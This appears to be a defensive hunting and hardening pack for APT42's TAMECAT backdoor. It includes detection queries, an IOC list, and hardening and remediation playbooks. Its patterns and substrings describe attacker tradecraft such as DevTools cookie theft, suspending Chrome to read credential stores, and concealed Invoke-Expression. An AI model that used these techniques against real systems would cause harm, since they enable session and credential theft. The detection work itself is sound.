Looks for: the signed console broker being used as a windowless launcher — conhost --headless C:\Users\Public\Microsoft.bat in the documented sample, reached via the UserInitMprLogonScript persistence value. This is one of the highest-fidelity signals in the pack: conhost.exe is normally spawned by the console subsystem, never invoked directly with arguments by a user process.
// HUNT: conhost.exe --headless used to run a script with no visible window // MITRE: T1564.003 | T1059.003 | T1037.001 | CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 with full CommandLine capture // FALSE POSITIVES: effectively none on a standard fleet -- treat every hit as actionable // NOTE: pivot on the referenced script path; C:\Users\Public and %LOCALAPPDATA% are the documented locations. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^conhost(\.exe)?$/i | CommandLine=/--headless/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=200)
Looks for: the durable TAMECAT signature — Get-Command (aliased gcm) called with a wildcard so that Invoke-Expression never appears literally in the command line. Documented forms include gcm i*x, gcm i*ee*, gcm i*e-r*tme*? and Get-Command '*ke-e*'. Volexity described the same idiom in CharmingCypress activity, so this survives infrastructure churn and module rewrites.
// HUNT: PowerShell resolving a cmdlet via wildcard Get-Command to conceal Invoke-Expression // MITRE: T1027 | T1059.001 | T1620 | CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 with full CommandLine capture; pairs with PowerShell 4104 script-block logs // FALSE POSITIVES: rare -- interactive discovery such as `gcm *service*` can match; check UserName and parent // NOTE: also review the -w 1 / -WindowStyle Hidden flag and any Get-Content of a .txt under AppData. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(powershell|pwsh)(\.exe)?$/i | CommandLine=/(gcm|Get-Command)\s*.{0,3}\*/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=300)
Looks for: a Chromium-family browser launched with the DevTools port open and the sandbox disabled, usually parked off-screen at --window-position=-32000,-32000. TAMECAT then calls Storage.getCookies over the DevTools WebSocket and receives every cookie already decrypted by the browser, bypassing DPAPI entirely. This is the identity-theft step and the reason password resets do not contain this actor.
// HUNT: Edge/Chrome launched with remote debugging + sandbox disabled (TAMECAT Browser module) // MITRE: T1539 | T1185 | T1217 | T1562.001 | CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 with full CommandLine capture // FALSE POSITIVES: developer and QA automation (Selenium, Playwright, Puppeteer) on engineering endpoints // NOTE: a matching NetworkListenIP4 on LocalPort 9222 confirms the debug listener actually opened. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(msedge|chrome|brave|msedgewebview2)(\.exe)?$/i | CommandLine=/--remote-debugging-port|--remote-allow-origins/i | CommandLine=/--no-sandbox|--window-position=-32000|--headless/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=200)
Looks for: the exact TAMECAT PsSuspend invocation — pssuspend.exe -accepteula -nobanner <chrome_pid> staged under %LOCALAPPDATA%\Caches — matched on the flag pair rather than the filename, so a renamed binary still surfaces. FP: Sysinternals tools are legitimately used by admins and support staff; restrict to non-admin endpoints and exclude your managed tooling paths before alerting.
// HUNT: Sysinternals-style suspension utility run silently (PsSuspend against a browser) // MITRE: T1555.003 | T1562.001 | CONF: medium FP: medium COST: low // REQUIRES: ProcessRollup2 with full CommandLine and ImageFileName // FALSE POSITIVES: genuine admin/support use of Sysinternals; RMM and helpdesk toolkits // TUNING: exclude your sanctioned tooling directories and admin workstations, e.g. // | ImageFileName!=/\\SysinternalsSuite\\|\\Program Files\\|\\Windows\\CCM\\/i // Anything executing from %LOCALAPPDATA%\Caches is not a legitimate admin path -- prioritise those. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/-accepteula/i | CommandLine=/-nobanner/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, ImageFileName, CommandLine]) | sort(@timestamp, order=desc, limit=300)
Looks for: the three named persistence values documented across the campaign — the per-user Run value Renovation (which starts every file dropped into an Internet Explorer List folder), UserInitMprLogonScript (which runs Microsoft.bat via headless conhost at each logon), and the systemUpdating RunOnce value seen in the 2026 chain. Project RegStringValue: it contains the full command and is your eradication checklist.
// HUNT: TAMECAT autostart values -- Renovation / UserInitMprLogonScript / systemUpdating // MITRE: T1547.001 | T1037.001 | CONF: high FP: low COST: low // REQUIRES: AsepValueUpdate and RegGenericValueUpdate registry telemetry // FALSE POSITIVES: legacy environments still deploying per-user logon scripts may show UserInitMprLogonScript // NOTE: RegStringValue carries the launched command -- capture it before remediating the key. #event_simpleName=/^(AsepValueUpdate|RegGenericValueUpdate)$/ | RegValueName=/^(Renovation|UserInitMprLogonScript|systemUpdating)$/i | table([@timestamp, ComputerName, UserName, RegObjectName, RegValueName, RegStringValue]) | sort(@timestamp, order=desc, limit=200)
Looks for: the implant's own bookkeeping keys — HKCU\SOFTWARE\firstOrder\id (last processed Discord message), HKCU\SOFTWARE\MSCore\config (victim identifier, moved here from %LOCALAPPDATA%\config.txt to shrink the disk footprint), and HKCU\Console\%Startup% where DelegationConsole and DelegationTerminal are pinned so the loader inherits a predictable console host. FP: Windows Terminal legitimately writes the console delegation values; MSCore is a generic-sounding key name that unrelated software may use.
// HUNT: TAMECAT registry bookkeeping keys and console delegation pinning // MITRE: T1112 | T1547.001 | T1102.002 | CONF: medium FP: medium COST: low // REQUIRES: registry value-update telemetry // FALSE POSITIVES: Windows Terminal sets DelegationConsole/DelegationTerminal legitimately at install // TUNING: baseline the console-delegation GUID your fleet normally writes and exclude it, then treat the // firstOrder and MSCore keys as the high-signal half -- neither belongs on a managed endpoint. #event_simpleName=/^(AsepValueUpdate|RegGenericValueUpdate|RegSystemConfigValueUpdate)$/ | RegObjectName=/firstOrder|MSCore|Console\\%Startup%/i | table([@timestamp, ComputerName, UserName, RegObjectName, RegValueName, RegStringValue]) | sort(@timestamp, order=desc, limit=300)
Looks for: DNS resolution of the serverless and free-hosting platforms this campaign uses as C2 and staging edges. Every destination here is a legitimate service, so the finding is the process and the rarity, not the domain. Group by requesting process and rank ascending by host count: a platform resolved by one workstation's PowerShell is the signal; the same platform resolved by 400 browsers is background. FP: high in any organisation that sanctions Telegram, Discord, Netlify or Cloudflare Workers — tune before alerting.
// HUNT: DNS to serverless / free-hosting platforms abused by SpearSpecter for staging and C2 // MITRE: T1071.001 | T1102.002 | T1583.006 | CONF: medium FP: medium COST: medium // REQUIRES: DnsRequest telemetry; ContextBaseFileName populated for process attribution // FALSE POSITIVES: sanctioned business use of Telegram, Discord, Netlify, Cloudflare Workers or Firebase // TUNING: drop any platform your business genuinely uses from the alternation. If Telegram and Discord are // sanctioned, remove those two and keep workers.dev, glitch.me, netlify.app, firebaseio.com, // somee.com and azionedge.net. Then filter to script interpreters by adding, after the groupBy: // | ContextBaseFileName=/^(powershell|pwsh|cmd|curl|conhost|wscript|cscript|rundll32)(\.exe)?$/i #event_simpleName=/^DnsRequest$/ | DomainName=/(workers\.dev|glitch\.me|netlify\.app|firebaseio\.com|somee\.com|azionedge\.net|scalingo\.io|api\.telegram\.org|discord\.com)$/i | groupBy([DomainName, ContextBaseFileName, ComputerName], function=[count(as=Hits)], limit=20000) | sort(Hits, order=asc, limit=500)
Looks for: the staging half of the implant — the %LOCALAPPDATA%\Caches working directory, the ALL.txt and FileCrawler.txt Base64 path queues, the Runs.dll chunking helper, the PersistenceMonitor.txt temporary file, and Outlook .ost mailbox copies. FP: backup, migration and eDiscovery tooling touches .ost files legitimately, and "Caches" is a common substring — exclude your known backup agents and anchor on the full path before alerting.
// HUNT: TAMECAT collection and staging artefacts under %LOCALAPPDATA%\Caches, and Outlook OST copies // MITRE: T1074.001 | T1114.001 | T1005 | T1560.001 | CONF: medium FP: medium COST: medium // REQUIRES: ProcessRollup2 with full CommandLine capture // FALSE POSITIVES: backup, mailbox-migration and eDiscovery tooling copies .ost files as normal work // TUNING: exclude your backup and migration agents by parent, e.g. // | ParentBaseFileName!=/^(veeam|commvault|backup|outlook)\w*\.exe$/i // and tighten Caches to the full path \AppData\Local\Caches\ once you have confirmed the shape. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/\\Caches\\|ALL-?[0-9]*\.txt|FileCrawler|PersistenceMonitor|Runs\.dll|\.ost\b/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=300)
Looks for: exact-match execution or write of the published loader and dropper samples. Run this once as a retro-hunt over your maximum retention, then rely on Falcon IOC Management (Section 10) for ongoing coverage. Zero hits here is meaningful only in combination with Q1–Q9 — the campaign's payloads are regenerated per target and the atomic list decays fast.
// HUNT: exact-match sweep for published TAMECAT loader / dropper / LNK hashes // MITRE: T1204.002 | T1105 | CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 or PE file-write telemetry with hash fields populated // FALSE POSITIVES: none -- exact hash match. Any hit is a confirmed detection, not a lead. // NOTE: the 783a55... LNK is single-source (2026-07-21 reporting). Confirm before acting on it alone. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|PeFileWritten|NewExecutableWritten)$/ | SHA256HashData=/^(bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8|5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422|783a55c215ff18ea618f5a63936e08044448901096ee4de2d23fcda740abe104)$/i | table([@timestamp, ComputerName, UserName, FileName, ImageFileName, SHA256HashData, CommandLine]) | sort(@timestamp, order=desc, limit=200)
CrowdStrike Custom IOA Recommendations
Five of the twelve queries are clean enough to promote to Custom IOAs. The rest stay investigate-only. Deploy every IOA in Detect mode against a pilot host group first, review a full week of hits, then move to Prevent only where the noise floor is genuinely zero. Path: Falcon → Endpoint Security → Custom IOA Rule Groups → Windows → Process Creation.
| IOA | Rule type | Pattern | Exclusions | Suggested action |
|---|---|---|---|---|
| IOA-1 — Headless console broker | Process Creation | Image filename conhost.exe; command line contains --headless | None expected on a standard fleet | Prevent after a one-week Detect pilot |
| IOA-2 — WebDAV share via rundll32 | Process Creation | Image filename rundll32.exe; command line contains davclnt.dll and DavSetCookie | Sanctioned SharePoint/DAV host names | Detect → Prevent once WebDAV is confirmed unused |
| IOA-3 — Browser debug port with sandbox off | Process Creation | Image filename msedge.exe or chrome.exe; command line contains --remote-debugging-port and --no-sandbox | Engineering and QA host group | Prevent outside the developer group |
| IOA-4 — Wildcard cmdlet resolution | Process Creation | Image filename powershell.exe or pwsh.exe; command line matches (gcm|Get-Command) followed within three characters by * | Named admin accounts running interactive discovery | Detect — high volume risk if set to Prevent |
| IOA-5 — Named autostart persistence | Registry Operation | Value name equals Renovation, UserInitMprLogonScript or systemUpdating under a per-user autostart key | Legacy logon-script deployments (scope by OU) | Prevent |
Investigate-only (no IOA)
Q3, Q7, Q9, Q10, Q11 and Q12 remain hunt queries. Q3, Q7, Q9 and Q11 need per-environment baselining before their false-positive rate is known; converting them to IOAs before that produces alert fatigue and nothing else. Q10 targets legitimate cloud platforms, so an IOA would fire on sanctioned traffic. Q12 is better served by Falcon IOC Management (Section 10), which handles hashes natively and expires them on schedule.
Alert package — IOA-1, IOA-3 and IOA-5
| Field | Content |
|---|---|
| Scheduled Search name | DETECT — APT42 SpearSpecter: fileless loader & browser session theft |
| Description | Fires on the TAMECAT delivery and collection chain: headless console execution, browser remote-debugging cookie theft, and named autostart persistence. Associated with IRGC-IO espionage against senior officials. |
| Email subject | [CRITICAL] Detection: APT42 / TAMECAT — <behaviour> on <host> |
| Email body | What fired and on which host and user. Why it matters: this chain belongs to a nation-state espionage campaign whose objective is browser sessions and mailbox content, not ransomware. Immediate actions: isolate the host, capture volatile memory before reboot, and open an identity incident in parallel. Escalation: notify the identity team within 15 minutes — token revocation is time-critical and is a separate workstream from host containment. |
| Triage checklist | 1. Confirm the process tree and record the full command line and parent chain. 2. Network-contain the host; do not reboot — most of the implant lives only in memory. 3. Capture the three persistence locations (Run Renovation, UserInitMprLogonScript, RunOnce systemUpdating) and HKCU\SOFTWARE\firstOrder / MSCore. 4. List %LOCALAPPDATA%\Caches and preserve ALL*.txt and FileCrawler.txt — these enumerate exactly what was queued for theft. 5. Pull PowerShell 4104 logs for the session and extract any Base64 module bodies. 6. Determine whether the browser module ran; if so, treat every cookie and token for that user as compromised. 7. Revoke sessions and refresh tokens for the user; a password reset alone is insufficient. 8. Check the mailbox for new inbox rules, forwarding and delegation, and review OAuth consent grants. |
| Pivot queries | Host-scoped: rerun Q1 through Q11 filtered to the affected aid over 90 days. Environment-wide: Q10 restricted to the domains the host actually resolved, then Q12 across maximum retention. Identity-side: sign-in logs for the affected user filtered to sessions that continued after the password reset. |
Machine-Readable IOC Appendix
Every atomic value below appears verbatim in a saved source snapshot in APT42-TAMECAT-SpearSpecter-Hunt-sources/. Only indicators corroborated by two or more independent sources carry prevent/critical; single-source infrastructure ships at detect or hunt and is marked in the CSV comments.
type,value,action,severity,expiration,description,tags # PREVENT tier -- two or more independent sources (Pulsedive + Mandiant / GBHackers / CyberPress) sha256,bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8,prevent,critical,2027-01-27,TAMECAT PowerShell loader nconf.txt,campaign:SpearSpecter actor:APT42 sha256,5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422,prevent,critical,2027-01-27,TAMECAT VBScript dropper with AV health check,campaign:SpearSpecter actor:APT42 md5,081419a484bbf99f278ce636d445b9d8,prevent,critical,2027-01-27,TAMECAT loader nconf.txt MD5,campaign:SpearSpecter actor:APT42 md5,d7bf138d1aa2b70d6204a2f3c3bc72a7,prevent,critical,2027-01-27,TAMECAT VBScript dropper MD5,campaign:SpearSpecter actor:APT42 # DETECT tier -- hashes sha1,0ef4f7a8d7b1d34e10faa0bca1dcb76a518dd417,detect,high,2027-01-27,TAMECAT loader nconf.txt SHA1,campaign:SpearSpecter actor:APT42 sha1,3fd06c930ddc4b1914151f69454c087a42413a24,detect,high,2027-01-27,TAMECAT VBScript dropper SHA1 single-source,campaign:SpearSpecter actor:APT42 sha256,783a55c215ff18ea618f5a63936e08044448901096ee4de2d23fcda740abe104,detect,high,2027-01-27,Document.pdf.lnk Apr-2026 chain SINGLE-SOURCE verify before blocking,campaign:SpearSpecter actor:APT42 md5,dd2653a2543fa44eaeeff3ca82fe3513,hunt,medium,2026-10-27,Historical Jun-2023 TAMECAT sample for lineage retro-hunt,actor:APT42 # DETECT tier -- SpearSpecter Nov-2025 infrastructure (INDA advisory) domain,accurate-sprout-porpoise.glitch.me,detect,high,2027-01-27,TAMECAT HTTPS C2 and exfiltration endpoint,campaign:SpearSpecter actor:APT42 domain,datadrift.somee.com,detect,high,2027-01-27,WebDAV host serving the disguised LNK,campaign:SpearSpecter actor:APT42 domain,filenest.info,detect,high,2027-01-27,Stage-one randomised-path redirector,campaign:SpearSpecter actor:APT42 domain,cloudcaravan.info,detect,high,2027-01-27,search-ms URI handler abuse page,campaign:SpearSpecter actor:APT42 domain,line.completely.workers.dev,detect,high,2027-01-27,Cloudflare Workers host serving temp.bat loader,campaign:SpearSpecter actor:APT42 domain,zx3nkaavlai.map.azionedge.net,detect,high,2027-01-27,Runtime-injected HTTPS C2 endpoint,campaign:SpearSpecter actor:APT42 domain,eaggcz2fj7yzqdzx97i96.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Invest module host,campaign:SpearSpecter actor:APT42 domain,f3nq6re4nmjwbr8ks5g2qu.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Scene module host,campaign:SpearSpecter actor:APT42 domain,kxp5sxfwiu7b6quo346hhyc.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Look module host,campaign:SpearSpecter actor:APT42 domain,2tv995jjg6cx679bspy.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Cnvrt module host,campaign:SpearSpecter actor:APT42 domain,mvwmh7pxxd33375gj9wwjhcmbk.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Trsdls module host,campaign:SpearSpecter actor:APT42 domain,27ehoddkc8t7jer4aic55uh3.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Anchor module host,campaign:SpearSpecter actor:APT42 domain,w5fb5r3txrsvga7zot9uz54k.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Trnspt module host,campaign:SpearSpecter actor:APT42 # DETECT / HUNT tier -- Apr-May 2026 chain. SINGLE-SOURCE. Review before any blocking rule. domain,synctimenow.org,detect,high,2027-01-27,LNK staging port 8050 and seed-generated fallback domain,campaign:SpearSpecter actor:APT42 domain,cloudfilenow.online,detect,high,2027-01-27,LNK staging host port 8050,campaign:SpearSpecter actor:APT42 domain,personal-store.netlify.app,detect,high,2027-01-27,Confirmed LNK delivery endpoint,campaign:SpearSpecter actor:APT42 domain,projects-shared.netlify.app,detect,high,2027-01-27,TAMECAT controller and module-delivery host,campaign:SpearSpecter actor:APT42 domain,hsta.xyz,detect,high,2027-01-27,Workbook staging host,campaign:SpearSpecter actor:APT42 domain,1thebstack1.xyz,detect,high,2027-01-27,Controller endpoint Api/Session,campaign:SpearSpecter actor:APT42 ipv4,107.189.25.18,hunt,medium,2026-10-27,IP-based LNK staging port 8050 likely shared hosting HUNT ONLY,campaign:SpearSpecter actor:APT42 # NOT importable as apex domains -- block the full path at the proxy instead: # https://s3.tebi.io/icestorage/config/nconf.txt # https://s3.tebi.io/icestorage/df32s.txt
# Command-line substrings -- the durable half of this pack rundll32.exe ... davclnt.dll,DavSetCookie # WebDAV mount after search-ms prompt curl ... --ssl-no-revoke # loader fetch and Firebase beacon conhost --headless # windowless script execution powershell -w 1 # hidden-window loader (gcm|Get-Command) followed by a wildcard # concealed Invoke-Expression msedge.exe --no-sandbox --remote-debugging-port=9222 msedge.exe --window-position=-32000,-32000 # off-screen collection window pssuspend -accepteula -nobanner # unlock Chrome credential DBs cmd /c set VAR=... & call %VAR:x=% # misspell-then-repair command line # Filesystem %LOCALAPPDATA%\Caches\ # working directory %LOCALAPPDATA%\Caches\ALL.txt, ALL-2.txt # Base64 path queues, ;;; delimited %LOCALAPPDATA%\Caches\FileCrawler.txt # collection metadata %LOCALAPPDATA%\Caches\SS\NO\ # screenshot staging %LOCALAPPDATA%\Caches\BS\Cookie__Last*.json # DevTools cookie dumps %LOCALAPPDATA%\Caches\Runs.dll # 5 MB chunking helper (reader2.reader) %LOCALAPPDATA%\Caches\R.exe # renamed WinRAR %LOCALAPPDATA%\Microsoft\Windows\AutoUpdate\ # loader script store %LOCALAPPDATA%\Microsoft\Internet Explorer\List\ # Renovation launch folder C:\Users\Public\Microsoft.bat # logon-script beacon PersistenceMonitor.txt # 2026-chain temporary file # Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run value: Renovation HKU\...\Environment value: UserInitMprLogonScript RunOnce value: systemUpdating HKCU\SOFTWARE\firstOrder\id # last Discord message id HKCU\SOFTWARE\MSCore\config # victim identifier HKCU\Console\%Startup% values: DelegationConsole, DelegationTerminal # Network -- platform-independent HTTP request header: Sec-Host # carries the 16-char AES IV HTTP request header: Content-DPR # same, older variant Outbound TCP 8050 # 2026 LNK staging port Uploads in ~5,000,000-byte chunks with resume-from-offset User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
# Malware / campaign names TAMECAT modular PowerShell backdoor (MITRE S1193) NICECURL sibling APT42 backdoor, same delivery tradecraft SpearSpecter campaign name (INDA, Nov 2025 onward) APT42 aka Mint Sandstorm, Educated Manticore, CharmingCypress, TA453 (partial overlap) # Obfuscation / crypto function names -- strong PowerShell 4104 and YARA anchors Gorba outer decode routine, params $te12 / $k12ey Borjol decoded loader function, defines globals Borjoly base64-decode then AES-decrypt Borpos AES-encrypt xs random 16-character IV generator reader2.reader .NET class inside Runs.dll used for chunked reads # Hardcoded key material (do NOT import as IOCs -- use as content anchors) kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B AES-256 key (IV 0T9r1y1M2e0N0o1w) T2r0y1M1e1n1o0w1 family-lineage key value, also in a Jun-2023 sample g9944pf33sbuuuspi3z2er6rqh9ermxk runtime $global:EncryptionKey (INDA sample) GILNH9LX6TCZ9V8ZZSUF victim token observed in $configtxt # Telegram command keywords Invest Scene Look Cnvrt Trsdls Anchor Trnspt #Journey (sets decryption key) exit # Third-party tooling abused PsSuspend (Sysinternals) suspend Chrome to release DB locks WinRAR renamed to R.exe archive staging Chrome DevTools Protocol Storage.getCookies over ws://127.0.0.1:9222
# Endpoint -- run as the audit pass before deploying Playbooks P1-P5 Test-Path 'HKLM:\SOFTWARE\Classes\search-ms' # expect False once hardened (Get-Service WebClient).StartType # expect Disabled (Get-Service WebClient).Status # expect Stopped Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -Name RemoteDebuggingAllowed $ExecutionContext.SessionState.LanguageMode # expect ConstrainedLanguage # Endpoint -- compromise assessment on a suspect host Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ItemProperty 'HKCU:\Environment' -Name UserInitMprLogonScript -ErrorAction SilentlyContinue Test-Path 'HKCU:\SOFTWARE\firstOrder' Test-Path 'HKCU:\SOFTWARE\MSCore' Get-ChildItem "$env:LOCALAPPDATA\Caches" -Recurse -ErrorAction SilentlyContinue Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Windows\AutoUpdate" -ErrorAction SilentlyContinue Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Internet Explorer\List" -ErrorAction SilentlyContinue # Identity -- the half that a host rebuild does not fix [ ] Revoke ALL refresh tokens and sign-in sessions for the affected principal [ ] Invalidate browser cookies -- password reset alone does not [ ] Review OAuth consent grants and app registrations created in the exposure window [ ] Review inbox rules, forwarding addresses and mailbox delegations [ ] Review registered authentication methods and enrolled devices [ ] Confirm phishing-resistant MFA is enforced for the principal, not SMS or voice [ ] Check Conditional Access for gaps that allow token replay from a new device
Detection Validation Gates
Work these four gates in order. A query that has not passed gate 2 will generate noise; a query that has not passed gate 3 may be silently dead.
| Gate | Check | Pass criterion | If it fails |
|---|---|---|---|
| 1 — Telemetry ready | Confirm each required event type is actually arriving: run each query's #event_simpleName filter alone over 24 hours. | Non-zero rows for ProcessRollup2, DnsRequest, AsepValueUpdate and RegGenericValueUpdate. | Q8 and Q9 need registry telemetry and Q10 needs DNS. Missing streams mean the queries return nothing forever — record as a coverage gap rather than a clean result. |
| 1b — Command lines intact | Verify CommandLine is captured in full, not truncated, for the browser and PowerShell processes. | A known-long browser command line is visible end to end. | Q1, Q2, Q5, Q6 and Q11 all match on command-line substrings and degrade to nothing under truncation. |
| 2 — Benign baseline | Run Q3, Q7, Q9, Q10 and Q11 over 30 days with no exclusions and count distinct hosts and parents. | You can name every recurring source (backup agent, RMM, developer group, sanctioned platform). | Apply the // TUNING: exclusion in each card before alerting. Do not promote an untuned query to an IOA. |
| 3 — Positive test | Confirm the queries fire on benign equivalents of each behaviour, using approved change-controlled activity on a test host: map a WebDAV share to an internal DAV endpoint (Q1); run curl --ssl-no-revoke against an internal URL (Q2); start Edge with --remote-debugging-port on a developer box (Q6); write and then remove a harmless test value under a per-user Run key (Q8). | Each query returns the test event within the expected latency. | Field name or event type is wrong for your tenant. Fix before trusting a zero-hit result. |
| 4 — Promotion | Only after gates 1–3: move IOA-1, IOA-3 and IOA-5 to Prevent, and load the Section 10 CSV into Falcon IOC Management. | One week in Detect mode with zero unexplained hits. | Stay in Detect. Prevent on a noisy rule breaks legitimate work and the rule gets disabled entirely, which is worse than no rule. |
A zero-hit result is not a clean bill of health here. This actor targets a handful of named individuals, uses per-target infrastructure, and runs almost entirely in memory. Treat Q1–Q9 as ongoing scheduled searches over the longest retention you have, not as a one-time sweep, and re-run them after every new APT42 disclosure.
Hardening — Tiered
H1 — Remove the search-ms URI protocol handler. This is the single control that breaks the documented entry point, and the INDA advisory recommends it explicitly. Deleting HKCR\search and HKCR\search-ms stops a web page from launching a Windows file search, which is what produces the "Open Windows Explorer" prompt. MITRE M1042 (Disable or Remove Feature). Playbook P1.
H2 — Disable the WebClient service where WebDAV is not used. With WebClient stopped and disabled, the rundll32 davclnt.dll,DavSetCookie step cannot reach the attacker's share at all, and the remote .lnk is never presented. Most enterprise fleets have no WebDAV requirement whatsoever. MITRE M1042. Playbook P2.
H3 — Enable PowerShell Script Block Logging, Module Logging and transcription, and confirm AMSI is active. Because the modules never touch disk, 4104 events are the only place their contents are ever recorded. Without this you can detect the launcher but never reconstruct what was stolen. MITRE M1047 (Audit) / M1040. Playbook P3.
H4 — Enable the three relevant Defender ASR rules in Block mode: block JavaScript or VBScript from launching downloaded executable content; block executable content from email client and webmail; block Office applications from creating child processes. The first directly targets the VBScript dropper branch. MITRE M1038 (Execution Prevention). Playbook P4.
H5 — Change the incident-response default from "reset the password" to "revoke the session." Update the IR runbook so that any suspected TAMECAT exposure triggers refresh-token revocation, session invalidation and cookie invalidation as a mandatory step, not an optional one. This is a process change with no technical dependency and it closes the campaign's most valuable outcome. MITRE M1018 (User Account Management). Section 14.
H6 — Block browser remote debugging by policy. Set the Edge RemoteDebuggingAllowed policy to disabled fleet-wide, with an exception group for engineering. This removes the DevTools cookie-theft technique outright rather than detecting it. Microsoft Edge security baseline. Playbook P5.
H7 — Put PowerShell into Constrained Language Mode for standard users, enforced through WDAC or AppLocker rather than the environment variable (which is trivially bypassed). Constrained Language Mode blocks the .NET reflection, Add-Type and [Scriptblock]::Create() calls the loader depends on. Pilot carefully: legitimate admin scripting will break. MITRE M1038 / M1042. CIS Windows Benchmark.
H8 — Control egress to disposable hosting platforms. At the proxy, alert on or block requests to workers.dev, netlify.app, glitch.me, firebaseio.com, somee.com, azionedge.net and scalingo.io when the requesting process is not a browser; block outbound FTP from workstations; and add a proxy signature for the Sec-Host and Content-DPR request headers, which are infrastructure-independent. Block Telegram and Discord outright if they are not business tools. MITRE M1037 (Filter Network Traffic).
H9 — Enforce phishing-resistant MFA and token protection for senior officials. FIDO2 or certificate-based authentication, Conditional Access token protection or equivalent device-binding, sign-in risk policies set to block, and legacy authentication disabled. Device-bound tokens are what make a stolen cookie useless on the attacker's machine. MITRE M1032 (Multi-factor Authentication) / M1035.
H10 — Stand up an executive-protection programme. This is the only control that addresses the actual initial-access vector, which arrives on personal email and WhatsApp where you have no telemetry. Brief senior staff and their family members specifically on multi-week rapport building, conference and meeting pretexts, and the fact that AI-generated lures no longer contain grammatical tells. Establish an out-of-band verification norm: confirm an unexpected approach through a known internal contact before acting on it. Add look-alike domain monitoring and credential-exposure monitoring for the protected cohort. MITRE M1017 (User Training). best-practice, no formal benchmark
H11 — WDAC in enforced mode with a signed allowlist, denying execution of .lnk, script and binary content from user-writable paths such as %LOCALAPPDATA%, %TEMP% and C:\Users\Public. Every stage of this chain executes from exactly those locations. MITRE M1038. Microsoft WDAC guidance / DISA STIG.
H12 — Enable Credential Guard and RunAsPPL, and move the protected cohort onto hardened, separately managed profiles with a restricted application set. MITRE M1043 (Credential Access Protection). Microsoft Security Baseline.
H13 — Continuous access evaluation and a short token lifetime so that a revoked session actually terminates in minutes rather than at the next token refresh, and so risk signals propagate to live sessions. MITRE M1018. best-practice, no formal benchmark
H14 — Brand and domain monitoring with a takedown path. The campaign registers paired look-alike domains days before use (two SpearSpecter domains were registered on the same timestamp). Newly-observed-domain scoring at the mail gateway and proxy converts that lead time into detection. MITRE M1056 (Pre-compromise). best-practice, no formal benchmark
Deployable Playbooks
Test every playbook on a pilot ring before fleet deployment. Each step lists its prerequisites, whether a reboot is needed, and how to undo it. Where a step changes endpoint state, the rollback is the exported backup taken in that same step — do not skip the export.
P1 — Remove the search-ms URI protocol handler
Prerequisites: local administrator or SYSTEM; deploy via GPO startup script, Intune or your RMM. Confirm no line-of-business application invokes search-ms: links — a small number of legacy intranet portals do.
Reboot required: No. Takes effect for new browser sessions.
Rollback: re-import the two .reg backups written in step 1. Keep them for at least one full patch cycle.
# 1. BACK UP FIRST -- this is the rollback artefact. Do not skip. $bk = 'C:\ProgramData\HuntPack-Backup' New-Item -ItemType Directory -Force -Path $bk | Out-Null reg export "HKCR\search" "$bk\search.reg" /y reg export "HKCR\search-ms" "$bk\search-ms.reg" /y # 2. Remove the handlers reg delete "HKCR\search" /f reg delete "HKCR\search-ms" /f # 3. Verify -- both must report False Test-Path 'HKLM:\SOFTWARE\Classes\search' Test-Path 'HKLM:\SOFTWARE\Classes\search-ms' # ROLLBACK # reg import "C:\ProgramData\HuntPack-Backup\search.reg" # reg import "C:\ProgramData\HuntPack-Backup\search-ms.reg"
P2 — Disable the WebClient (WebDAV) service
Prerequisites: local administrator. Confirm no mapped WebDAV drives are in use — audit first with the verification command below across a sample of hosts. SharePoint accessed through a browser or the OneDrive sync client does not require WebClient; only Explorer-based WebDAV mapping does.
Reboot required: No. Stopping the service is immediate.
Rollback: Set-Service WebClient -StartupType Manual then Start-Service WebClient. Original start type on Windows 10 and 11 is Manual (trigger-start).
